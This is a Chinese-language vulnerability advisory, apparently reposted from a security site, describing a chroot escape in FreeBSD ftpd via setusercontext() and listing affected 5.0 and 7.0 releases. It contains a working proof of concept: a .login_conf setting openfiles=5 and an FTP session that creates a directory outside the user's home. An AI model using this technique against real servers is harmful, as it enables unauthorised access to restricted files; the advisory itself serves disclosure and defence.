FreeBSD ftpd setusercontext()远程特权提升漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2009-08-29
FreeBSD ftpd setusercontext()远程特权提升漏洞 影响版本:
FreeBSD ftpd 
FreeBSD FreeBSD 5.0 .x
FreeBSD FreeBSD 5.0 -RELENG
FreeBSD FreeBSD 5.0 -RELEASE-p14
FreeBSD FreeBSD 5.0 alpha
FreeBSD FreeBSD 5.0 
FreeBSD FreeBSD 7.0-STABLE
FreeBSD FreeBSD 7.0-RELEASE-p8
FreeBSD FreeBSD 7.0-RELEASE-p12
FreeBSD FreeBSD 7.0-RELEASE-p11
FreeBSD FreeBSD 7.0-RELEASE-p11
FreeBSD FreeBSD 7.0-RELEASE
FreeBSD FreeBSD 7.0 BETA4
FreeBSD FreeBSD 7.0 -RELENG
FreeBSD FreeBSD 7.0 -RELEASE-p9
FreeBSD FreeBSD 7.0 -PRERELEASE
FreeBSD FreeBSD 7.0漏洞描述:
Bugraq ID: 36119

FreeBSD是一款开放源代码基于BSD的操作系统。
FreeBSD ’ftpd’存在远程特权提升问题,远程安全者可以利用漏洞突破chroot封锁获得系统敏感信息或进行拒绝服务安全。
BSD传承的操作系统一般都包含用于设置用户上下文的函数,如 FreeBSD 5.0和7.0包含的setusercontext()函数:
  setusercontext(lc, pw, (uid_t)0,
  LOGIN_SETLOGIN|LOGIN_SETGROUP|LOGIN_SETPRIORITY|
  LOGIN_SETRESOURCES|LOGIN_SETUMASK);
  
其中LOGIN_SETRESOURCES这里是用户用于设置资源的参数。
其中系统手册中描述LOGIN_SETRESOURCES是基于系统登录类库中指定的值来为当前进程设置资源限制。通过是否使用-cur (soft limit)或-max (hard limit)后缀通过类功能标签来设置响应的资源。    
       cputime       RLIMIT_CPU
    filesize      RLIMIT_FSIZE
    datasize      RLIMIT_DATA
    stacksize     RLIMIT_STACK
    coredumpsize  RLIMIT_CORE
    memoryuse     RLIMIT_RSS
    memorylocked  RLIMIT_MEMLOCK
    maxproc       RLIMIT_NPROC
    openfiles     RLIMIT_NOFILE
    sbsize        RLIMIT_SBSIZE
    vmemoryuse    RLIMIT_VMEM
    
通过这些选项可设置~/.login_conf配置。安全者可通过把openfiles设置为5就可以绕过ftpd.c中的chroot()限制,并访问受限系统文件内容。
<*参考 
http://isowarez.de/bsd-setusercontext.txt
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有安全性,仅供安全研究与教学之用,风险自负!---snip---
%cat /etc/ftpchroot
kcope
%cat .login_conf
me:/
  :openfiles=5:
%cap_mkdb .login_conf
%ftp 192.168.2.4
Connected to 192.168.2.4.
220  FTP server (Version 6.00LS) ready.
Name (192.168.2.4:root): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /usr/home/kcope
ftp> mkdir /tmp/foobar
257 "/tmp/foobar" directory created.
ftp> ls
425 Can’t open passive connection: Too many open files.
425 Can’t open passive connection: Too many open files.
200 PORT command successful.
550 /bin/ls -lgA: Too many open files.
ftp>
---snip---
SEBUG安全建议:
厂商解决方案

目前没有解决方案提供:
http://www.freebsd.org/

图片内容